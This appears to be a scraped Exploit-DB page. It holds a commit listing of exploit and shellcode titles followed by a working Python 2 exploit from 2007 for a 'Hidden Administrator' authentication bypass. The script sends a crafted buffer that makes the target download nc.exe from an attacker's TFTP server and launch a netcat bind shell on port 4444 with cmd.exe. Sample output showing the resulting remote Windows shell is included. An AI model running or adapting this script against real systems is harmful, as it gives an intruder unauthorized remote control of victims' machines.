880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
98 lines
No EOL
4.7 KiB
Python
Executable file
98 lines
No EOL
4.7 KiB
Python
Executable file
####################################################################################
|
|
# Hidden Administrator Authenticaiton Bypass Exploit #
|
|
# ahmed[at]rewterz.com #
|
|
# https://www.securityfocus.com/bid/24049 #
|
|
# #
|
|
# C:\>python rewt-ha-exp.py #
|
|
# Usage: rewt-ha-exp.py -h <host ip> -p <port> -t <tftpd server ip> #
|
|
# make sure nc.exe exists on tftpd server #
|
|
# #
|
|
# C:\>telnet 192.168.1.4 4444 #
|
|
# C:\>python rewt-ha-exp.py -h 192.168.1.4 -p 3128 -t 192.168.1.105 #
|
|
# [+] Connecting to 192.168.1.4 #
|
|
# [+] Uploading Files #
|
|
# [+] DONE [+] #
|
|
# [+] Now Connect to port 4444 on victim IP !!! #
|
|
# #
|
|
# C:\>telnet 192.168.1.4 4444 #
|
|
# Microsoft Windows XP [Version 5.1.2600] #
|
|
# (C) Copyright 1985-2001 Microsoft Corp. #
|
|
# C:\ha_server> #
|
|
####################################################################################
|
|
|
|
|
|
import socket
|
|
import struct
|
|
import time
|
|
import sys
|
|
import getopt
|
|
|
|
|
|
def usage():
|
|
print "\n"
|
|
print "######################################################"
|
|
print "# Hidden Administrator Authentication Bypass Exploit #"
|
|
print "# Coded By ahmed[at]rewterz.com #"
|
|
print "######################################################"
|
|
print "\n"
|
|
print "Usage: %s -h <host ip> -p <port> -t <tftpd server ip>" % sys.argv[0]
|
|
print "make sure nc.exe exists on tftpd server\n"
|
|
|
|
def exploit():
|
|
h ="%X" % (130+len(tftpd))
|
|
buff1='_file_manager_operations_copy_files_Loc_Rem_c:\\^file\r\n\x0brewt_ha.bat'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1 += ('\\x' + h).decode('string_escape')
|
|
buff1 += '\x00\x00\x00\x00\x00\x00\x00'
|
|
buff1+='\x00tftp -i ' + tftpd + ' GET nc.exe c:\\nc.exe '
|
|
buff1+='\r\nc:\\nc.exe -L -d -p 4444 -e cmd.exe \r\n\r\n '
|
|
buff1+=' \r\n\r\n_file_manager_operations_get_cur_dir_c:\r\n'
|
|
try:
|
|
print "[+] Connecting to %s" %host
|
|
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
connect=s.connect((host,int(port)))
|
|
print "[+] Uploading Files"
|
|
s.send(buff1)
|
|
time.sleep(2)
|
|
s.send('+run_C:\\rewt_ha.bat|\r\n')
|
|
time.sleep(1)
|
|
print "[+] DONE [+]"
|
|
print "[+] Now Connect to port 4444 on victim IP !!!"
|
|
except:
|
|
print "[+] Could not connect to the server"
|
|
|
|
|
|
if len(sys.argv)<7:
|
|
usage()
|
|
sys.exit()
|
|
try:
|
|
options = getopt.getopt(sys.argv[1:], 'h:p:t:')[0]
|
|
except getopt.GetoptError, err:
|
|
print err
|
|
usage()
|
|
sys.exit()
|
|
|
|
|
|
for option, value in options:
|
|
if option == '-h':
|
|
host = value
|
|
if option == '-p':
|
|
port = int(value)
|
|
if option == '-t':
|
|
tftpd=value
|
|
exploit()
|
|
|
|
# milw0rm.com [2007-05-19] |